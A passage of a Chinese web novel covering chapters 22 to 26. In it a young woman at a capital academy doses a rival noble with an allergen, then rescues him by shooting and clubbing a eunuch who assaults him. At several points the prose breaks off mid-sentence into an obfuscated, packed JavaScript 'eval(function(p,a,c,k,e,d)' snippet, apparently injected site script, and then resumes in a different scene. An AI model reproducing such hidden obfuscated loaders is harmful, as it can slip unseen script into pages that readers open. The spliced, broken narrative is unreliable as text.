嗯,可能就是男人那个地方太脆弱,稍稍碰一下就不得了。 但她不理亏,谁让他上来就捂人嘴。 那二人似乎往这边走近了一点,声音愈发清晰,商凝语担心被发现,往里走两步,一面警惕地看着江昱,防止他携私报复。 但她很快发现,江昱似乎比她还要不愿意被那二人发现,他大概是缓过来了,倚在石壁上,一动不动,甚至还拿眼睛瞪她。 江昱觉得这个女娘空有一副美貌,又蠢又呆。 再不进来一点就要被看见了! 外面那两人已经走到了池塘边,再往前走一步,就能发现这假山后内有乾坤。 好在这后面并非死路,有一块大石堆积,只要跨上去就行了,只是这样就很容易惊动旁边的人,所以位置得找巧,得等二人完全走到侧面来才能走,还得小心,不能发出一丁点声音。 商凝语心头微松,她穿的是馆中学士服,只要把斗篷团在怀中,就算被瞧见了也不知道她是谁。 心中又有点得意,这位世子可就不一样了,穿金戴玉,只要一个背影就能确定身份。 江昱也在心里有了同样的决策,他用眼神示意:我先上去看看。 商凝语用眼神质疑:你现在能行? 江昱不理她,试着动了动。 行吧,且由着他。 真是倒霉,要是被人发现他俩在一起,就是跳进黄河也洗不清了。 便是在这时,江昱忽然觳觫,发出一声近乎惊惶般地闷哼。 “唔!” 商凝语心中警铃大作,顺着他的目光,瞧见了山洞罅隙里藏着一条斑驳粼粼的蛇。 商凝语满脸疑惑。 电闪雷鸣的刹那,一股大力袭上胳膊。 等她回神,她已经扑通一声摔倒在地,面前站着两个人。 一位是那个为数不多的公道人之一,乔文川,乔公子。 另一位,哦豁,竟是那位在菊花宴上与太子苟且的女娘! 22. 第 22 章 商凝语想过一万种可能,她有身手,跑得快,只要一步登上石阶就能顺利逃脱,管这江世子是死是活! 但万万没想到,她会是被推出去的那个。 这是一位玉面清风的京城公子该做的事吗! 一点风度都没有,她觉得很不可思议。 待她回过身,就瞧见玉面公子一撩衣衫下摆,以迅雷不及掩耳之势,跃上石阶,再一晃眼,消失在洞口。 商凝语思绪飞转,迅速调整了仪态,以一种睡眼惺忪地模样抬头,优雅又不失窘迫地起身,望着二人,道:“请二位见谅,我...失礼了。” 说罢,她赶紧双手叠在腹间,仓惶地行下一礼,像只犯错被抓的邻家小妹。 乔文川眼眸微眯,上前一步,逼问:“你一直在这里睡觉?” 商凝语心跳如雷,面上却露出赧意,“还请乔公子莫要对周先生说,我...我保证,”她飞快地瞄了眼方云婉,道,“也不说乔娘子带兄长乱跑的事。” 乔文川扬眉,转身看了眼方云婉,方云婉将目光从假山后收回,沉吟后,柔声问:“你认得我?” 商凝语点头:“之前不认识,但现在认识了。” 乔文川迟疑,但方云婉却不容许这样的隐患存在,她眸中寒光乍现,朝冰冷寒潭望去。 乔文川只迟疑了一瞬,慢慢向前走去。 商凝语牙关一咬,恍然大悟道:“我先前在赏菊宫宴上见过姐姐一面,在后山的雅座里,不过,姐姐身份尊贵,当时未敢窥觑姐姐真容,今日才知,姐姐花容月貌,闭月羞花,令小女艳羡。” 乔文川顿住,轻笑出声,“你可真会说谎,当时舍妹在家卧病休息,并不曾去到贵妃娘娘的宫宴。” 商凝语抬眸,满脸疑惑,“是吗?那可能是我看错了。” 乔文川脸上笑意一扫而空,指节捏得咯咯响。 商凝语则盯着方云婉煞白的脸色,道:“方娘子,你当时真的没去宫宴吗?我真的看错了?” 眼见乔文川再上前一步,她就要掉头逃跑了。 方云婉道:“可能是看错了,哥哥,我们走。” 乔文川扬眉,他倒是没觉得有灭口的必要,一个靠着他们乔家才能支棱的伯府小娘子,怎么敢胡乱说话? 见方云婉要放过她,他松了势,转身道:“走吧。” 商凝语轻轻地松了口气,见二人都走远了,才跑回洞中查看,可哪里还有江昱的身影。 她心知这个地方不能再待,赶紧收拾东西离开,直至见到商凝言,才觉得真正脱了险。 心中打定主意,以后见着乔家娘子也假装不认识,若真的穿帮了,就打定主意想不起来方云婉是谁。 反正她已经决定,不再参加任何筵席,以后就是习艺馆和伯府连点一线的跑,绝对绝对不会再遇上这两人。 她心中恨极了江昱,真是从未见过如此无耻之徒,忘恩负义!悭吝小人!金玉其外,败絮其中! 难为长了一张獐头鼠脑的脸,心也是黑得没眼见! 活该被画成小人! 用过午膳,她径直往习艺馆的材料房奔去,花赛结果在申时宣布,她得抓紧时间。 为了让绒花逼真,习艺馆每年在花会开放当季收集花粉,或以原粉珍藏,或制成香料,二者合一,抹在绒花上,可以持久迷香。 而香脂是香粉浓缩的精华,只用一点,则气味淡薄,寻常人几乎无法察觉,但抹到对槐花敏锐的身上,则有出奇的功效。 材料房的钥匙有专人保管,拿钥匙、取材都需要登记。 她循着多宝格一个个寻找,终于在第二个架子的最下层角落里找到要找的东西,打开抽屉,从玉瓶里抠出一点香脂放在自己的手帕里,仔细包好,再将玉瓶放回去。 归还钥匙登记名册时,管事先生顺嘴问了一句:“我记得你参赛作品是落梅,要槐脂做什么?” 商凝语微微一顿,旋即笑道:“落梅做得失败,我准备用槐花试试。” 管事先生笑道:“我已经许久未曾见到像你这么较真的女娘了,失败没关系,下次再努力。” 商凝语展颜:“谢谢先生。”说完,离开材料房,奔着前院去,到了前院,她像往常一样朝自己的位子走去。 落座后,她先状作无意地扫了眼在考官席上坐好的江昱,再环视一圈,没瞧见乔文川,倒是瞧见了方云婉。 她含笑点头。 方云婉冷眼瞥过,暗中观察,想看看那个男人是谁,但许久过去,她都不曾看到这位商娘子与哪个男人眉来眼去,只看到那位勇毅侯世子目光几次扫向商娘子。 难道是,江昱? 江昱是京中有名的纨绔,吃喝玩乐,聚众赌博,不学无术,除了不玩女人,几乎什么劣性他都有。 难道,真的是他? 江昱暗中皱眉,方云婉怎会注意到他?难道是商七揭发?她怎么这么蠢? 他故意让方云婉看到衣角,就是要那二人知晓还有第四个人的存在,她只要顺着这个说法圆过去,那二人就不敢灭口,她竟然没懂? 商凝语琢磨着,怎么将香脂抹到江昱身上去,他对槐花敏感,只要将这玩意用到他身上,够他喝一壶! 这是她在乡下妇民身上发现的,乡下杂树多,还有各种毛虫,只要稍微触碰一点粉末,就能引起不寻常的反应。 那日,那位女娘端上槐花,江昱就是这个反应。 周先生宣布赛事结果,商凝语有些惊讶,她的名次竟然在第四,不过,前三名才有奖项,才能被表彰,得知了结果后,她随即就将维持三日的赛事抛诸脑后。 直至赛事结束,也没能找到接近江昱的机会。 众位女娘相继离去,江昱觉得此地不宜久留,眼见商凝语向他走来而方云婉在暗中窥视,他心中暗骂,脚步不停,大步流星地朝门外走去。 商凝语简直都要气笑了,此人是不是自惭形秽,所以跑得这般快! 人影攒动,她故作平静,好在她本就距离门口近,到了门口后,她倏地掉头。 差点一头栽进江昱怀中。 江昱:“!” 正追赶好友的程玄晞:“!” 商凝语在距离面前衣襟只有一根手指距离时刹住脚,微笑抬头道:“不好意思。”说着,与二人擦肩而过。 程玄晞惊诧地看着江昱,结巴道:“她,是故意的,吧?” 江昱浑身僵硬,他感觉手上滑溜溜地,如凝脂般地触感,如蜻蜓点水般划过。 那一瞬间,舒服得令人头皮一麻。 江昱思绪回拢,立刻察觉出不对劲, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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东宫近侍轻手轻脚地进来,小宫女尚且腿软,却不得不小心翼翼地从床脚瑟缩地爬了下来,近侍挥了挥手,小宫女顾不上衣裳齐整,只糊弄遮了羞,就躬身碎步地跑出内殿。 近侍将干巾打湿,上前掀开黄帐,见赵曦阖目平息,轻手轻脚地替他擦拭额间汗珠。 眼见擦拭得差不多,太子一点动静也无,近侍不敢催,匍匐地退出脚踏。 赵曦忽然问:“叫你办的事,办的怎么样了?” 近侍浑身一颤,连忙跪下,伏地道:“殿下赎罪,还,还没办妥。” 赵曦眉头轻皱,“已经两个月过去了吧?” 近侍连忙道:“江世子一直躲在国子监,他不出来,咱们的人也不好进去,就一直耽搁着,请殿下赎罪。” 赵曦沉吟许久,就在近侍以为小命即将不保时,忽然一听轻笑,“你们不好进去,就让冷宫的人去,那位不是怀念这口吗?就让他踩进棺材前再尝一口。” 近侍似乎一愣,旋即喜道:“是,殿下。” 出了东宫,近侍又往南走出一段狭长的宫道,在东南角侧门处,给等候些日的小内侍递了张小纸条。 23. 第 23 章 一场大雪过后,远山裹素,近水凝脂,玉树琼枝宛若冰雕,真正到了“朔风卷地吹急雪”的时节。 街上行人呵气成霜,商凝语直感叹,京城的冬天是真冷,她裹着厚重的斗篷,手抱红泥火炉,吭哧吭哧地爬上去往习艺馆的马车,再朝今日非得亲自送她出门的田氏挥了挥手。 望着远去的马车,田氏跟身边心腹感叹:“我今个儿一早起来,心就直跳,总觉得有事要发生。” 心腹笑着劝:“这是马上就要到年关,少夫人想家了。” 田氏醒过神,更加惆怅了,“是啊,这还是第一个不在爹娘身边的年呢。” 车行橐橐,点翠将装了厚绒布袋扎在商凝语的腿上,一边叮嘱,一边抱怨,“要是艺馆能让婢子跟着就好了,婢子可以给你烤火炉,轮着给你换,这样就不会再冷了。” 商凝语不在意,“学馆屋里有火炉,一点也不冷,你只要下学时给我备好就成。” 到了学馆,商凝语飞速下车,朝馆内奔去,半道上遇见孙苗苗,二人潦草地招呼一声,垂首缩脑地一起往前跑。 “京城年年下这么大的雪吗?”商凝语大喊,沿途,正有十几名仆从将积雪往两旁清扫。 孙苗苗嘀咕:“可不是?岭南不下雪吗?” “下!但是没有这么大,我从来没见过这么大的雪,感觉腿都要冻断了。” “别夸张。我还欠你一顿饭没吃,要不选在下个沐休?到时候,我带你去打雀,你把弩箭带上。” 自从出了方云婉那事,商凝语就没敢出门赴约,就怕倒霉催,当真遇见乔家人。 这次也一样,“太冷了,等明年开春吧,弓弩我带着了,午休的时候我带你去练练手。” “好。” 冬天打雀儿,实在是传闻中的乐事,听闻商凝语惯会此道,孙苗苗早就蠢蠢欲动了。 就在这时,从侧面行过来一人,看衣着是女学生打扮,二人并未在意,但在擦肩而过时,商凝语被重重地撞了一下,差点跌倒。 孙苗苗火气直窜,眼见那人跟没事人地直接跑了,大吼:“你是哪个班的?撞到人不知道道歉,有没有礼仪?” 商凝语拉了她,道:“没事,太冷了,快走吧。” 孙苗苗重哼一声,二人回到屋,才一坐下,有位书童走进教室,目光扫视一圈,停在商凝语身上,道:“商娘子,周先生唤你过去。” 商凝语匆忙收好打开一半的信管,抬头应声,“是。”暗中将信管收进袖口。 周先生的书房不远,走过去不足一刻钟,商凝语立在门口敲门,从里面传来清冷的声音,“进来。” 商凝语趋步上前,道:“先生,您找我。” 见她来了,周先生放下手中毫笔,从案桌下拿出账册,放到她面前,商凝语的心一咯噔,眼睛瞪着账册不说话。 她早先有过心理准备,一旦有人质问,就抵死不认,再拿出近日制作的槐花拿出来当证据,就算勇毅侯府亲自问罪,也不能无凭无据就非得认定是她。 她还想过第二种可能,就说是失误,一不小心洒在了这位世子身上,总归就是自损八百,也要伤敌一千。 但到底是寄希望于东窗不事发,以为那个世子挠挠痒就过去了,谁知道会这般严重。 经过这些长时日的提心吊胆,所有的侥幸都变得不那么重要,以至于到这一刻,她率先一懵,再想掩盖已经来不及了。 周先生见状,一切都明了了,叹息一声,语重心长道:“你是个好学生,见微知著,又勤奋好学,但女学首要的是品行,你可知晓此事一旦传出去,于你,于艺馆,是何影响?” 商凝语垂首,再矫饰她自己都要鄙视自己了。 弱弱道:“是我错了。” 周先生见她道歉得快,态度又很诚恳,以为她只是一时“失足”,便没那么地生气了。 道:“好在长公主尚不知晓此事,世子让艺馆给个交代,我给你三天时间,你跟家里商量一下,尽快将此事平息,否则,”她蹙了一下眉,道,“馆中真就要秉公处置了。” 从书房出来,商凝语深深地呼出一口气。 她要怎么跟阿爹说这事,难道要阿爹登门去跟江昱求情?不可能! 或者去求四姐姐? 国公府三表哥和江昱是好友,求四姐姐帮忙,让江昱从轻发落?如果能让江昱消气,她就算是受点惩罚也认了。 但,如此一来,云锦那丫头估计又要开始讥讽她了,好丢脸。 可恶啊,这老什子京城,都是一群惯会仗势欺人的高官。 坐回教室,孙苗苗询问周先生寻她何事,她摇了摇头,努力说没事。 可她低迷的情绪,孙苗苗哪里瞧不出问题,再三询问仍旧不得果后,以为她是有难言之隐,只好噤声不再追问。 直待先生回到课堂,商凝语才想起另一件事,觑着无人的四周,她悄悄拿出袖中信管,暗中打开。 匆匆扫了一眼,上写着:“申时末,国子监旧书楼见,否则,后果自负。” 字迹粗鄙,却能看出一笔一划都用了重力,仿佛是个不善于捉笔的人,携了莫名的情绪。 商凝语秀眉一皱,第一反应是江昱想当面问候她。 但为什么是国子监的旧书楼?这什么鬼地方,她怎么知道在哪儿? 他为什么要约在国子监?是因为出不来吗?还是因为在他的地盘,要杀人灭口更加方便? 不去行不行? 她眼前仿佛看到江世子那杀人的眼神化成实质的刀,向她砍来。 又仿佛听见周先生声色俱厉地警告她,三日内不能解决此事,就将你的罪行昭告天下,让你名声尽毁! 她浑身一个哆嗦,转念又是一喜,她亲自去见江昱,就不用再通知家里了吧? 他先让周先生威胁,肯定就是在这地方等着。 实在受够这担惊受怕的日子,反正伸头一刀,缩头也是一刀,不如调动她的潜意识力,预测一下凶吉。 吉! 她摸了摸怀中,幸好今日带了小弓弩,暂且拿来用用,若是求饶不行,她就威逼试试。 纠结了半天后,用过午膳,和孙苗苗打雀儿时,商凝语偷空又去竹林削了几根细长竹签带在身上。 下了学,她又留了个心眼,拜托孙苗苗跟点翠招呼一声,商凝言近日下学晚近一个时辰,待他出来,让他去国子监旧楼帮她寻一本书。 万事俱备,她揣着箭弩,抱着红炉,跟后院的小厮打探到前往国子监旧楼的近路,一路小跑过去。 - 江昱在逍遥榻上醒来,环视一周,发现自己竟然回到了角楼二楼。 今日一早,他以为身体好得差不多了,特意命人去习艺馆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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江昱却倏地笑了,他脸上红疹未消,这一笑,淡淡的印迹在面上连成数条斑驳的疤痕,望之可怖。 “赵曦也真是走投无路了,又找你这条狗出来犬吠。”他摸着袖中隐藏地薄片,道。 朴石进眼皮颤动,一时未说话。立在长案边,从袖口里拿出一个纸方包,仔细拆解开,里面躺着两块花糕,他放进嘴里细嚼。 待到一块终于咽下,他的脸上仿佛恢复了一点活力,望着江昱,道:“小世子还是不听话,怪不得殿下会生气。” 说着,他抬步上前,走到逍遥榻边,微微俯身,盯着江昱的脸,豆眼里,闪烁着兴奋的光。 “许多事看来小世子已经忘了,老奴今日就帮你想想。” 江昱五脏六腑仿佛受到灼烧,拼命挥出手中薄刃,但药效实在太大,他抬出的手仿佛有千斤重,以为使了全力,实则只是从眼前稍稍划过。 逍遥榻不堪受重,向一侧倾斜,“扑通”一声,江昱被掀翻在地。 朴石进险险避过,摸了下巴,刺痛传来,随之滴下一滴鲜血。 他收了笑,面色阴沉地朝江昱伸出手。 “昔年冷宫中,小世子担惊受怕,哭着求饶,老奴心软放过你,好在你也懂事,守愚藏拙,没再让太子失望,可你这会儿怎么就忍不住了呢?莫不是怀念老奴?没关系,这次老奴让你好好爽一爽。” 江昱腹中翻涌,一口血腥涌上咽喉,喷涌而出。 朴石进笑着上前。 就在他的手快要伸向领口时,忽然身后传来一道凌厉的破风声,“噗”,一箭正中后肩胛。 江昱瞳孔一震,向箭头来处望去。 忽见一少女手持箭弩,出现在楼道入口,她眸光雪亮,一字一句地问:“你是个阉人吧?” 24. 第 24 章 勇毅侯府,主院后堂。 谢花儿不在,临时被派遣服侍江昱的小厮,冷汗淋漓地禀报了消息,清平长公主手中佛珠倏地收紧,眼前一黑,身子晃了晃。 老嬷嬷连忙上前扶住,担忧道:“长公主先别急,可能是世子又偷跑出去玩了。”又对小厮怒喊,“还不快派人去找!” 清平长公主手撑香案,站了起来,道:“给我更衣,我要去宫里。” 老嬷嬷大吃一惊:“长公主,或许可以再等等。” “快!”清平长公主喝声道。 一声令下,老嬷嬷不敢违逆,连忙吩咐侍女前来更衣。 - 江昱有一个噩梦。 八岁那年,在宫墙角落,一处幽暗逼仄的偏殿,他被人掳到那里,长相丑陋的老太监朴石进,腰背佝偻,一步步向他逼近。 望着那阴鸷的眼神,他感受着从未有的害怕,他拼命厮打,却怎么也挣脱不了枯瘦的手指,周围充满了腐朽霉烂的气息,甚至屋外还有尖利刺耳的笑声,时隔多年,都在每个夜晚回荡。 他努力试过很多办法,退缩或者面对,却怎么也走不出这个噩梦,后来,他接受了,他接受自己终身都要忍受这样的噩梦。 不过是个蝼蚁,他告诉自己。 若是蝼蚁再出现在他面前,他一定亲自手刃蝼蚁,即便这个噩梦不会随之消失,也必当亲自斩杀他一次。 直至这一刻,他灵台乍现,忽然就觉得,这个噩梦不会再有了。 商凝语目光锁在朴石进身上,面上是江昱从未在一位女娘身上见过的严肃,她认真地问道:“你是个阉人吧?” 朴石进身体受挫,转过身来,见是个陌生的小女娘,咧开嘴轻笑。 怪异地笑声在室内传荡,在屋脊上盘旋须臾才散去,商凝语却盯着他,不惊不惧。 “哪来的小女娘,长得还怪标致的。”朴石进后退两步,勾着腰,将肩上的箭矢拔出,见是一根细长的竹签,不屑一笑,将竹签扔掉。 “看来是了。”商凝语目光微松,却又浮上一丝疑惑,问:“你是因为自身不足,所以才狭隘浅薄,做非人做的事吗?” 实在是她言语过于认真,叫人竟听不出异味,江昱纳罕,一时不知她是讥讽,还是真的有此一惑。 朴石进面色却阴狠下来。 “别动。”商凝语警惕抬手,蓄势待发,道:“小心我射穿你的眼睛。” 朴石进扫了一眼她的箭弩,驽身弯曲却稳如磐石,从方才那一箭可以看出,这个小小的弩箭,力量不容小觑。 商凝语认真道:“你便是个阉人,也不应该自甘堕落,以毁人自娱。” 言语口气,没有一丝嘲讽,倒真的像见到一个失足的孩子,对他谆谆教诲。 她看了眼江昱,见江昱除了虚弱外,没有其他受伤的地方,继续道:“青史昭昭,宦官多如牛毛,但贤愚忠奸,判若云泥。” “昔日赵奴,祸害无辜,残害忠良,以至于身死族灭,遗臭万年。” “宦官之中,亦有蔡侯精益求精,破茧造纸,化繁为简,为万民造福,立下千秋伟业,名垂青史。你虽先天不足,但也应该明辨是非,沉湎私欲,只会让你积恶余殃,如蝇逐臭,你这一生岂非白来这世间一遭?” 江昱错愕,怔怔地看着她。 朴石进戾气陡生,爆喝:“住嘴,你个黄毛丫头,也敢来说教。” 边说,边伸手去抓她。 商凝语虽说教,却也只是抱着一丝侥幸,或者说,她只是不服,想再试探一次人性。 此刻心中有了结果,她也不再迟疑,拨动机关发出一箭,朴石进堪堪避过,回过头,忌惮地盯着她。 商凝语手稳稳地捏着箭弩,道:“前路未卜,回头是岸,你现在离开,我可以当作没见过你,否则,我不会再手软。” 朴石进哪里会听,瞄准了时机往前一扑。 他算准了小女娘会害怕到手软,但没料到对面非寻常闺阁女子,商凝语不再迟疑,下了狠手,往他面门连发三箭,边动手边后退,身手敏捷地围着长案转圈。 “啊——”朴石进躲过两支射向咽喉的箭,却没想到她最终瞄准的是眼睛,捂住眼睛,摔倒在地,却仍不甘心,用另一只眼睛瞪着商凝语,鲜血顺着他骷髅般地指缝往下流。 商凝语环顾四周,见没有称手的武器,抬起圆凳,走到他身后,用力砸下去。 却没想到朴石进被激出凶性,单眼赤红,一手挥开圆凳,干瘦的身躯忽然爆发出惊人的力量,商凝语掌心发麻,被他一把掐住脖子摁在墙上。 咽喉被扼的一瞬,她心中警铃大作,拔出发间银簪,奋力扎进阉人手腕,与此同时,一条圆凳重重地击在阉人头颅,只见他左右晃了晃,松了手。 商凝语捡起掉落在地上的圆凳,重重地补了一击,朴石进这才訇然倒下。 她穿着宽袖学士服,外披霞色斗篷,明明是厚重的衣裳,一举一动,却透着干脆,让人想起,在马球场上,她策马奔腾,没有一丝累赘的样子。 商凝语看了一眼地上,确定人确实晕了过去,才扔了圆瞪,拍了拍手,掀眸去看江昱。 他似乎被吓着了,喘着气,整个人在傻笑,她上前,犹豫了片刻,弯腰架起他的胳膊,将他放回逍遥榻上。 江昱低头,望着咫尺之遥的女娘,睫毛缱绻,鼻尖通红,小巧的耳珠因畏寒而皲裂,身上还残留着淡淡的梅香,似有若无地传来。 明明是和其他女娘一样,有着娇嫩柔弱的外貌。 但又似乎,和她们完全不一样。 “你怎么样?”商凝语忐忑,关心地问道。 冰天雪地,幸亏她偷偷溜进书楼之前,先围着书楼查看了一圈,发现后屋有四排脚印,两排前往的脚印很深,离去的脚印较浅,她心生疑惑,没敢贸然上楼。 到了前门,发现又有一条脚印由远及近,却没有离去的迹象,她方猜测楼上藏了一人,不料小心翼翼地上楼就听到这么一段令人恶心的话。 岭南于京城而言,相距甚远,王法教化如风中游丝,吹不到穷乡僻壤,乡民们闭塞蒙昧,所思所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虽然,她曾听商父下令,将极恶之人斩首示众。 江昱怀疑她吓傻了,撑着她的肩膀起身,却叫她一个腿软,若非他及时撑住,两人就要跌到一起去。 他扯了嘴角,带着她踉跄地往楼道口走去,一边道:“他是太子派来杀我的,我若不杀他,太子也会利用今天的事毁了我。” 他目光注视前方,眼角却注意着身下人,并道:“谢谢你救了我,要是被太子抓住,你放心,我一定保你一命。” 商凝语怔愣抬头,望着他好久才消化这段话的内容,一个不察,结结实实地跌了一跤,幸好,她及时扶住了栏杆,才没导致二人一同滚下楼梯去。 江昱则一头撞向横栏,但他却一点没顾及,握拳抵在嘴边,笑得整个人都颤动起来。 商凝语不理他,回神后连忙跑回去,将掉落在地上的箭矢全部捡起来,看着插在朴石进脖子上的长竹,她目光发狠,用力一拔,鲜血溅了她一脸。 她胡乱地擦拭干净,又拔出阉人手上的银簪,而后跑回楼道,架起他的胳膊,拖着人往下走。 倒霉催地,门外积雪未融,就是逃,也会留下脚印,仿佛看到她的郁闷,江昱这次好心地道:“千万不要往你来的路走,会被抓住的。” 商凝语没有领悟到他话中的意思,循着后门往另一条道走去。 25. 第 25 章 莽莽雪地里,很快留下两排深浅不一的脚印。 好在,过了这一段路,就到了一条雪地清扫干净的青石板路,二人加快脚步往前走。 在一处即将逃生的三岔路口,江昱率先作出决定,勒着她的脖子,将人带到另一条道。 商凝语:“......” 一心急着逃生的商凝语,万万没想到,此人恢复这般快。 她浑身僵硬,觉得搭在她肩膀上的长臂仿佛一条苏醒的巨蟒,蓄势待发,准备随时收紧,只要她一个不懂事,就勒断她的脖子。 突然就体会到了,农夫与蛇的故事。 到了一处陌生的地方,是习艺馆的一间供作自习的雅室,江昱推开门,门扉吱呀一声,撞到墙弹回来,正好撞在商凝语的胳膊上。 商凝语被松了脖颈,甫一脱离掌控,就往前跑了两步,转身道:“我保证,今天的事,不会告诉任何人。” 她倏地反应过来,清贵的公子,应该不希望今日的事被人知晓。 甭管这人现在在她眼里是丑还是俊,但得承认现实,在众女娘眼中,乃至于这位公子自己,都觉得他英俊潇洒,风流倜谠。 江昱却望了她一眼,阖上门,在临窗的案边坐下,将窗棂打开一条缝隙,仔细查看了四周,做完这一切,才回过头来,背靠椅背,似笑非笑地睨着她。 道:“你觉得拿这事威胁我,能多活几日?” 商凝语竖起两根手指,义正言辞道:“我不是威胁,我是赌咒发誓,苍天明鉴,我若是将今天的事透露半句,就叫我天打雷劈,不得好死。” 江昱凝视着她,面上意味不明。 就在商凝语以为应该能通过的时候,倏地听他沉声问道:“那日你是怎么逃脱的?” 没有明说,但商凝语立刻反应过来他指的是哪日,心道,算你还有点良心,知道过问一句。 但她面上不显,恭恭敬敬道:“您放心,我没将您供出来。” “说。” “我将方娘子错认乔娘子,乔公子自然放过了我。” 江昱挑眉,称赞道:“你倒是转变得够快。” 商凝语笑笑。 江昱又斟酌了片刻,问:“你为何会去角楼?你哥哥不至于约你在角楼等吧?” 他有一次撞见兄妹两一同坐车离开,也见过了其他府邸的兄妹一同上下学的场景。 提起商凝言,商凝语一咯噔,朝窗外望了望天,心中迅速盘算,估摸着商凝言此刻应该还未下学,她又将心放回肚子里。 她满脸疑惑,反问:“不是你叫我过去的吗?” 江昱凝视着她,“你说什么?” 商凝语目光凝滞,心头也起了疑,将袖中信管拿出来,展开递到他面前,以此时无声胜有声的目光看着他。 江昱看了眼上面的字迹,嗤了一声,“我的字,有这么丑?” 商凝语琢磨了一下,决定为自己陈述一句,“我没见过你的字。” 江昱瞥了她一眼,将字条扔到案几上,道:“这不是我的字,我也没约你。” 商凝语凝视他,不知道该不该多问一句,不是他先礼后兵,就是为了逼她去书楼赴约吗? 江昱似乎猜到她心中所想,嗤:“报复你,我还需要留两手准备?” 商凝语:“......” 商凝语皱起眉,不是他还会是谁?除了他,她在艺馆中也没得罪谁,而且,怎会这么巧,正好就撞上他被人猥亵。 江昱也想到了这点,冥想了许久,还是怀疑乔文川二人,但又没有头绪。 他疑惑地问:“你来京城多久了?怎么认识的方娘子?” 此言一出,商凝语眉眼一闪。 缓慢道:“没多久,就是在一次宴会上,巧合上认识了。” 江昱双眼微眯,道:“这次宴会,不会恰巧就是两个多月前的宫宴吧?巧合地点就在后山?” 商凝语瞪大眼睛,不可置信,“你怎么也知道这事?” 江昱:“也?还有谁知道?” 商凝语皱起眉头,面容严峻起来,却不说话。 江昱双手环抱,道:“在宫里,就没有秘密。你拿这个事威胁方娘子,所以他们才放你一条生路?” 商凝语默默地点了点头。 江昱看着她,问:“那你怎么没供出我?他们要是知道是我,也不敢将你如何。” 商凝语心中存了疑,说出口的话便没经过深思熟虑,脱口而出道:“我有办法离开,为什么还要把你供出来?” 江昱微微一愣,将这句话放在嘴里咀嚼了片刻,倏地笑了,“但你可没那么安全,你可知道这字条是谁写的?” 商凝语经他提醒,将心思从疑惑中抽回,幡然醒悟,“是方云婉?” 这就能解释得通了,太子要杀江昱,方云婉与太子暗通款曲,得知消息后借刀杀人,再合理不过。 但这就糟糕了,她今日就是不死,也被这个女娘给盯上了。 商凝语这厢愁眉不展,而江昱却浑身舒畅,谜题被解,又逢凶化吉,没有什么时候是劫后余生更令人感到愉悦了。 他抻着胳膊松了松筋骨,悠闲道:“我是个知恩图报的人,给你一次机会,你想让我赦免你毒害我的罪名,还是帮你除掉方娘子这个人?抑或是,替你在太子面前隐瞒?” 商凝语汗颜,没想到她一下子犯了这么多罪,跟欠债似的。 她眉头紧锁,严词道:“你中毒一事,无凭无据,不能诬陷我。方娘子那事,祸由你起,要不是你引他们二人过去,我根本不会得罪方娘子,这事你应该付一半的责任。至于太子,我更是受无妄之灾,我才救了你一命,你不能恩将仇报。” 江昱颔首道:“所以,你是选择我在太子面前替你隐瞒。” 商凝语:“......” 江昱冷冷道:“毒害本世子,以至本世子缠绵病榻,险些命丧黄泉,你胆子不小,本世子这就回府拟份奏折,弹劾忠勤伯府纵女行凶,你......” “我选世子赎罪。”商凝语一口气打断他,认命道。 江昱展颜,哈哈大笑起来,他起身,拍了拍衣袍上不存在的灰尘,道:“既然如此,商娘子就不欠我的了。” 语毕,开门出去。 商凝语望着迎上侯府小厮的潇洒背影,恨得牙痒痒,须臾想起商凝言还在等候,赶紧冲着大门跑去。 寒冷冬天, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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商凝语将事情经过从头到尾,从花赛伊始受辱江昱挑事又解围,到假山后撞破乔文川和方云婉的好事,从被周先生质问,到国子监书楼杀人救人,一字一句,除了商明菁那段,详细地说了一遍。 商凝言震惊得说不出话来。 商晏竹静默沉吟,许久后,方才出声,他淡笑了一声,问:“听着倒不像是闯了祸。” 商凝语泄气道:“女儿不该与人斗气,早知道,就不害他了。”话虽如此说,实则心中依旧不以为然。 若是重来,她还是会选择小小地报复他一下,只是下次她应该耐心一点,等到来年春暖花开,再下手就能确保万无一失。 商晏竹轻笑,“他这不是答应你,不再计较此事了吗?方娘子的事,你不必担心,年底且安分点,你在馆中对上她多加忍让,待到年后也就差不多了。” 不等商凝语询问,怎么到了年后就差不多了,他又说:“至于太子,是你相差了,江瑾弋既然与太子有仇,又怎会去太子面前揭发你?那位方娘子心中有鬼,自然也不会告诉太子将你卷入其中。” 商凝语眼中露出茫然,又望向商凝言。商凝言思索片刻,点了点头。 身在局中,关心则乱。 见父兄都如此作想,商凝语大松一口气,道:“那就好,不过哥哥还是小心一点,离这个江世子远一点,此人阴晴不定,一点也不像个纨绔,少接触为好。” 26. 第 26 章 夜里躺在床上,四周一片宁静,商凝语将今日之事在脑海里自省三遍,这一省,就从被忽略的角落里捞出一个问题。 江昱都已经逃走了,为何还总是追问她究竟用什么理由糊弄了那两人?想他当时严肃认真的神色,不像是看她笑话,倒像是他有一个设定,却没有实现一样。 她联想了那日下药之后的情景,他要她出去,她没去,他好像很着急。 还有,他很快就猜到是方云婉设计陷害她。 仿似有一团雾笼罩在这件事的顶上,叫她还未完全察觉所有人的真正意图。 她想了许久,越想越迷糊,渐渐地眼皮打架,有点承受不住,但脑子还在提醒她,要想清楚这关键之处。 忽然,灵台一空,商凝语倏地惊醒,他那天不会是被方云婉看到了吧?方云婉是反过来误会她和江昱私下约会,所以那个“后果自负”指的是江昱,而不是她? 哦豁,还真的有可能,这就更能解释为何方云婉用这种方式骗她去旧书楼了。 要命,这个误会可真大。 这下,终于可以睡个好觉了。 - 